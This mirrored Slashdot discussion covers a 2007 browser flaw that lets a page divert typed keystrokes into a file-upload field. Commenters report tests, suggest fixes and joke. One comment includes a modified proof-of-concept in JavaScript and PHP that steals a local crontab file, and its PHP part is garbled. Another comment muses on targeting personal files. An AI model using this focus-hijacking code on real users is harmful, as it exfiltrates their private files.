Slashdot Mirror
IE and Firefox Share a Vulnerability
hcmtnbiker writes with news of a logic flaw shared by IE 7 and Firefox 2.0. IE 5.01, IE 6, and Firefox 1.5.0.9 are also affected. The flaw was discovered by Michal Zalewski, and is easily demonstrated on IE7 and Firefox. The vulnerability is not platform-specific, but these demonstrations are — they work only on Windows systems. (Microsoft says that IE7 on Vista is not vulnerable.) From the vulnerability description: "In all modern browsers, form fields (used to upload user-specified files to a remote server) enjoy some added protection meant to prevent scripts from arbitrarily choosing local files to be sent, and automatically submitting the form without user knowledge. For example, '.value' parameter cannot be set or changed, and any changes to .type reset the contents of the field... [in this attack] the keyboard input in unrelated locations can be selectively geared toward input fields by the attacker."
Next thing you know they'll be coquettishly batting eyelashes at each other and accidently eating the same strand of spaghetti.
I can confirm that IE7 on Vista is not vulnerable. Probably has to do with that whole Protected Mode thing.
Not Firefox 1.5x under a non-admin account on XPSP2, though I admit that setup, while sane, is unfortunately not really common...
Is the way this works by attaching keydown/keyup events to the document object, and then switching focus to the file upload field in order to let the user fill in the upload? Ingenious :)
So a browser would fix this by not allowing programmatic access to focus() for file uploads?
It doesn't sound like this would be particularly exploitable because you'd need them to type the letters in the right order (with other arbitrary letters as padding between this). Getting someone to type something might prove easier though now due to the prevalence of Capchas.
Am I the only one who kinda freaks out every time he sees this 'bug' picture? Can't slashdot have a cuter bug image?
IE seems to not allow backspaces when doing this. I'm almost certain this is just a bi-product of this implementation though.
Maybe not.
Firefox has a vulnerability... thats impossible!!...Lets blame it on windows as usual.
I could not make it work under such system either. Maybe it needs more ? Something which is not enabled on my firefox ?
C. Sagan : A demon haunted world:
http://www.amazon.com/gp/product/0345409469/
visit randi.org
For good or ill, I don't know many regular users, of course it is lonely at times...
This issue is a bit more complicated than you think.
I tried with a limited user account, but of course boot.ini can only be read by administrators. Then I tried with an administrator user, and still boot.ini wasn't shown. Fud?
Also, there is no need to type all that jibberish about cheese. Just slowly type in:
C:\boot.ini
Type it too quick, and the javascript in the background won't be able to keep up with the rate of keystrokes you enter.
Vulnerability kinda doesn't work using Firefox 2.0.0.2 and Internet Explorer 7 (Both 32 bit and 64 bit version) on Vista Business Retail.
I had to create a Boot.ini file in my C: drive since Vista doesn't have it there anymore. IE7 and Firefox will be able to pull information out of the file if you have permissions to read the file but if you don't it won't work. This is probably why some people are reporting it doesn't work in Win XP with a user account. Only admin accounts are affected because the user accounts probably don't have read access for boot.ini.
This means that the vulnerability won't be able to access any system files but it could potentially access sensitive data you have because you'd obviously have permissions to read those files (i.e. Word documents on your desktop).
It seems that the person using this exploit would have to know the exact filename and path of the file he wants so this seems like a minor issue. The real risk is with system files because the directory and filenames for those will most likely be the same on most systems but those can't be read and I'm not sure what you'd do with the info anyway...
I cannot get this flaw to work in Firefox on Linux. I've gawked and re-written the code several times, created dummy text files that are mode 0666, to no avail. I think it could be exploitable only under the loosest of security profiles. Did I miss something from TFA that makes this windows-specific?
So...Safari on the Mac is A-OK?
don't have time to try it out, but what happens when you simply write a file upload form element with innerHTMl and submit it?
Yes, because we all start typing "C:\repair\sam" the moment a website finishes loading...
this doesnt too well on the latest firefox (2.0.0.2) with some plugin's at least for me.
One thing I did see rather worryingly was "search plugins" for that search bar on the top right of Firefox (and a similar function exists on IE now), is the fact that some of these don't use the searched site directly some go VIA some other site.
You may wish to check the XML file of these search addins after you get them from Mycroft or indeed anywhere. There was one for play.com for example that doesnt go to Play.com, it goes via some other site, why? Are they tracking? I only use search plugins that use the searched site directly now.
Incidentally I'm lactose intolerant.
I wonder how quickly this may become a real threat in the wild and how quickly the manufacturers can patch it...
Relocating to San Francisco / Palo Alto... Hire me?
Your comment would only be relevant if you thought the world was supposed to be fair.
they both run on windows?
I tried this on
Windows XP
As Administrator
With No 3rd party anti-virus or anti-spyware protection whatsoever (total of 20 processes running including Opera)
Opera 9.10
All scripting enabled
Checked the presense of boot.ini
And while it did continue to a new page when I typed the phrase, that new page didn't have the contents of my boot.ini file.
Just a message telling me what that page was about.
Wanna fight ? Bend over, stick your head up your ass, and fight for air.
the user.
"The stupider people think you are, the more surprised they will be when you kill them..."
The POC worked in both Firefox 2.0.0.2 and IE6 on Windows XP SP2. It worked as well typing various phrases besides what it told me to type.
W So soft Windows XP Professional" /noexecute=optin /fastdetect
Below should be a copy of your C:\BOOT.INI file. If nothing is
shown, chances are you don't have this file in the first place,
your account has no permission to read that file, you didn't use
a vulnerable browser, or I screwed something up.
=== RECEIVED DATA ===
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDO
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Micr
I use Noscript to block javascript. The exploit didn't work until I allowed javascript for that site.
New/unknown sites won't be able to do this, but my previously "trusted" ones will.
If you copy/paste the text, the Firefox demo doesn't work.... a possible workaround?
The Firefox demo also is sensitive to the typing speed, for example, if you type "bnoot" instead of "boot" and you type the "n" very quickly after the "b" the demo tries to open the C:\bnoot.ini file instead.
I am trying to get it work but it does not at all... Weird.
C. Sagan : A demon haunted world:
http://www.amazon.com/gp/product/0345409469/
visit randi.org
If they rewrote XRoach as a secure Java applet, then the cockroach would climb around the screen and hide behind windows until you squash it by clicking on it. Hmmm. Actually, that's not a bad idea - can someone on the Slash code development team add this?
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
I'm not sure why this is getting press now, given that a very similar exploit has been known and public since October 2000 (bug 56236). It was even fixed on trunk in September 2005, but left unfixed on branch intentionally because we weren't confident we had the UI right.
Zalewski's version is bug 370092, and he was unhappy when I marked it as a duplicate of bug 56236.
The shareholder is always right.
I remember sigs. Oh, a simpler time!
it's nice to know all the preview that shows up for firefox is c:\bo ... atleast if i type at normal speed
No matter how much you secure something, you're always going to have to deal with users. They will always do stupid things regardless of what safeguards you have in place.
Believe me, if I started murdering people, there would be none of you left.
So you ask the user to enter the captcha
"c:\windows\"
And the best you can get is to read a file from their hard drive?
I'm glad Firefox and IE have gotten over there problems and have found a way to get along together.
:)
Its cute when you think about it
Sorry to go offtopic, but this is a pet peeve.
I abhor the use of the word "enjoy" in the media and by marketing people in particular. Form fields may *have* protection; they do not *enjoy* protection because they aren't fucking conscious. And nobody enjoys, say, the protection of car insurance. I don't sit at home feeling all warm and fuzzy because I've just taken out some policy.
Seeing this in tech news just shows how much this has spread. I no longer want to use the word enjoy at all because every time I hear it, I am reminded of this usage and feel a twinge of annoyance.
I want my English language back from these idiots! In addition to enjoy, the following words also need to be reclaimed:
now (as in "call this number *now*")
sensational
I can't think of more off the top of my head at this time in the morning. There are loads. Feel free to add your own.
As it checks the keydown event (which happens before the keys are interpreted according to your keyboard layout), it is locale-dependent. It won't work on my localized keyboard, as its ":" key is not in the same place as on an US/international keyboard. So it fails here both on Firefox 2.0.0.2 and IE7. (on Fx, for instance, if I type what it asks it only catches "C"; but it "works" if I type in "CÇ]boot.ini".)
You should disable javascript, yet again.
"Often when somebody prints out a document to distribute at a meeting they print the full path to the document in the footer of every page. This has always seemed like a bad idea to me."
Managing documents is not a task to be taken lightly, especially when the document is the product of more than one person, document management systems work in essentially the same way as source control systems. The reason the file is on the footer is to deliberately identify where the document came from (ie: is it "official" or just someones private backup copy). It is also (ironically) a simplistic security measure that makes hard copies somewhat trackable.
Removing the path is a "security through obscurity" solution that would impose an inconvienince on the people who create/edit/review documentation and would increase the risk of corrupt documentation (ie: lost update syndrome).
OTOH: I'm sure there are cases where "burning" is demanded because "shreading" is considered too risky, but I rather think they would be the exception rather than the rule.
And did you exchange a walk on part in the war for a lead role in a cage? - Pink Floyd.
I launch firefox, and quickly try and do a search in the google search bar at the top right, then the google homepage STEALS the focus from the built-in search, and I end up with both having both halves of what i was typing. And i've also seen that if i launch the browser and try to select a page from the dropdown, that when the default homepage loads the selection list decides to dissappear, I think that's for both browsers.
This was news a while ago, but there have been more since then, all of which are fixed in the latest update of Firefox (AFAIK).
The Reg carried this story yesterday. I don't know if IE7 is fixed yet, but I had an auto update to Firefox (2.0.0.2), 3 days ago.
Why? Because you cannot manually type anything in file fields anymore. You have to use the Browse dialog.
Maybe the sand boxing is better and Firefox/Linux refuses that script have access to file that wheren't selected with a choose box ?
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Windows XP Pro, SP2. Running Firefox 2.0.0.2.
It does catch the first "c" I type, but it stops after that - colons aren't caught.
Two theories:
1 - One of my numerous Firefox extensions is interfering with the Javascript
2 - I'm using a German "kezboard". Colons are in a different place. Now off to check if my uppercase "Ö" gets captured...
I switched to a US keyboard map, and was able to enter my boot.ini path (although of course I don't have read access to it, so it doesn't matter anyway).
With the German key map (QUERTZ), it doesn't work. Neither 'Ö' not ':' are recognized by the page. Interesting.
It just takes a few changes. Try this:
http://www.thanhngan.org/fflinuxversion.html
for everyone out there who has commented that ooooo it doesn't work on my non-admin account, ooo I lock down access to my boot.ini (listen if you really want my boot.ini, email me, I'll send it to you), oooo I run linux.
It's a proof of concept about a focus redirect exploit (bug? that's a misnomar). The example itself (displaying boot.ini) is not the exploit, the exploit is the hijacking of selective typed text in one textbox and applying it to another. The application of this exploit could be much different than displayed in this example.
Your mammas flamebait.
First time I tried, it did not work. Then I disabled NoScript to give permission to that site, then it workd, it showed me my c:\boot.ini. Since I permit only very few trusted sites to execute scripts in my work machine I am safe here. But the common use laptop in my home would be vulnerable. Stil it is only unauthorized snooping of my files. Not as bad as drive by downloads or system modifications.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
and this wouldn't have happened if you were using a Dvorak keyboard in the first place.
And that kids, is what happens when you don't use condoms. Firefox should have known better.
[alk]
It will not only be very interesting to see who releases a patch first, but also by what margin.
IE7, Firefox2, Opera9, Konqueror and Safari share a vulnerability: Javascript.
Copyright infringement is "piracy" in the same way DRM is "consumer rape"
It's called Windows!
Firefox obviously violates M$ IP if there is a shared venerability.
Power to the Penguin!
... I can not but wonder why FireFox is considered to be a secure browser. It seems to have more security issues than IE lately. Is the underlying code quality of FireFox that bad?
Just another thing Microsoft copied from Firefox
It didn't work for me on Firefox 3.0a3, so I guess there's a good reason to be on the bleeding edge. :D
To do something useful with the exploit, the attacker needs to know the name and location of a desired file, and the browser has to be permitted to upload (read) the file. Obviously one dramatic way to use the information gained is to hack the victim's system. Most OSes, properly configured, don't let ordinary users (or their browsers) read critical system files, but Windows does.
Even on better-designed OSs, though, the exploit has uses for espionage and spam. People tend to put data files in predictable places, using predictable names. With a little luck or a large pool of visitors you can get financial information from QuickBooks, personal info (and valid email adresses) from Outlook contact books, business information from powerpoint documents stored in My Documents, or the complete set of somebody's recent email correspondence.
The focus-diversion technique sounds awkward at first, but I've been thinking of ways to make it more reliable without the user getting suspicious (eg, trick them into typing several backslashes in between other text) - and if I can think of them, others can too.
Im running Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 and while the version designed for Firefox dind't work, the one for IE7 at least showed what I thyped on the red-coloured characters' box. Has that happened to anybody else?
Comment removed based on user account deletion
I'm confused, someone already posted this a month ago... but the article disappeared. I think slashdot is part of that orwellian future I keep hearing about. This is NOT a new vulnerability.
It worked for me (Firefox 1.5.0.9, XP), but I had to retype it a few times as it didn't always detect the keystrokes. Though, I'm sure there are many ways to implement this type of attack. Hopefully the devs won't just patch this particular vector.
So the user takes the form and positions it off screen where the input type="file" tag is.
The real problem lies in that it is there, just not visible in the browser.
I can accept that. The key is style="position: absolute; left: -500px;...
And then the div tag's style: style="position: absolute; left: 510px;... that takes the form and puts it back to pop
Then the dev closes the div tag and places the file field to the left.
Clever. But there is some security in obscurity. Knowing which files to grab that are of real use... I suppose grabbing someone's registry could yield something interesting about the user, and then parsing through it to find relevant keys and then using another form to get something of real value would be about the most useful thing you can do...
09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
That both browsers are mature enough to share.
She was like chocolate when she drank... semi-sweet at first and then increasingly bitter.
This vulnerability isn't present when viewing the infected page from IETab/IEView in Firefox 2.0.0.9. Can anyone explain why that is?
(c) 2007
I don't really see how this is an "exploit," since it seems to require user intervention. But in any case, I've been doing this using VBA with IE to automatically fill out file upload fields - for years.
I know, I should have used Curl or something back then, but it was Access VBA. Don't blame me!
The real "fix," though, would be to remove the text box entirely and just have a browse button.
grey wolf
LET FORTRAN DIE!
At the end of this post, the PHP code for a Linux version (whitch uploads crontab).
:
:
:
//if (cc) alert(cc);
:\n${_POST['foo1']}\n"; :\t" . $_FILES['foo2']['name'] . "\n"; :\t" . $_FILES['foo2']['size'] . " bytes\n"; :\t" . $_FILES['foo2']['type'] . "\n"; :\t" . $_FILES['
- The key pressing timing is absolutely critical. Too slow or too fast and everything breaks. Appart from a captcha, I don't see what input would have the correct pace not to go noticed. The exploit can't just stay around waiting while users type the needed keys in a chat windows, because the keypress pace won't be optimal and both the exploit will get out-of sync and won't capture the output it needs, and the chat window is disturbed and shows abnormal input.
- "Session Plugin" and similar plugins that can keep the content of form between reloads completly breaks it, causing the exploit loose sync.
- Focus-controlling methods (either disabling javascript focus() in about:config settings, or anti-SPAM plugins) just make void the whole purpose of the exploit.
- Konqueror isn't affected by this (IE version copies the FULL text from the input field, FFversion doesn't copy anything) and, anyway, always open a dialog box with list of uploaded files before proceeding.
- AFAIK, Safari doesn't have a file input field at all, the only way to select a file is to open a file chooser box and then type/select file in that box. So It isn't affected either.
Possible §lutions
- Go for the "Vista UAC"-like user annoying method and add a "This are the file you'll be uploading" box (like Konqueror's). And hope user won't start automatically clic on OK whatever happens.
- Completly remove the input field. Leave only a button and, optionaly a status line indicating the last file selected in the chooser. Let the user type what he want is the chooser box, if he wants to go for the keyboard solution. I thinks that's the most sensible way. Leaving a sensitive point (selection of file to upload) in the page itself (and therefor under the control of the page) and then subsequently write special case hacks to patch each exploitable bug that gets discovered is stupid to begin with.
- Ignore the problem because it's rather hard to reproduce. (But that's realy lazy).
On-line
http://www.sympato.ch/~dryak/test-bug
Modified Code (based on bugtraq's original)
<html>
<head><title>Firefox focus bug on Linux</title></head>
<body style="overflow: hidden">
<script>
var do_nothing = 0;
var needstr = [ 111, 69, 84, 67, 111, 67, 82, 79, 78, 84, 65, 66 ];
var curat = 0;
function divert_focus(e) {
var evt = window.event ? event : e;
var cc = evt.charCode ? evt.charCode : evt.keyCode;
if (needstr[curat] == cc) {
do_nothing = 0;
document.getElementById("foo2").focus();
} else do_nothing = 1;
}
function restore_focus() {
if (!do_nothing) {
document.getElementById("foo1").value = document.getElementById("foo1").value +
document.getElementById("foo2").value.charAt(curat );
if (++curat == 12) document.getElementById("foo3").click();
document.getElementById("foo1").focus();
do_nothing = 1;
}
document.getElementById('pdiv').innerHTML = document.getElementById('foo2').value;
}
</script>
<pre>
<?php if ($_POST['foo1']) {
print "Text
print "Filename
print "Filesize
print "Filetype
print "uploaded
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Wait... wait... wait...
I think everyone on Slashdot is missing the major issue in this case: every OS/browser combo is vulnerable... EXCEPT IE7 on Vista.
Seems the Lunix/FOSS/browser-warrior zealots have yet another reason to start wetting their pants. The one-two punch combo of Vista/IE7 seems to be the haymaker for all the FUD upon which their shaky claims to credibility (and so-called security) rely.
That exploit really is instructive. There is simply no end to the creativity of the hacker.
Maybe we can finally dispense with the whole clunky two-step file upload. I mean who ever actually types a file name into the file upload field. You press the browse button to populate the field and then hit submit. Smart sites actually script it to one step by doing a submit off an onchange event in the file field. There really is no need to ever present a field to start with and it is just an accident waiting to happen. The upload should be one step that cannot be "messed" with.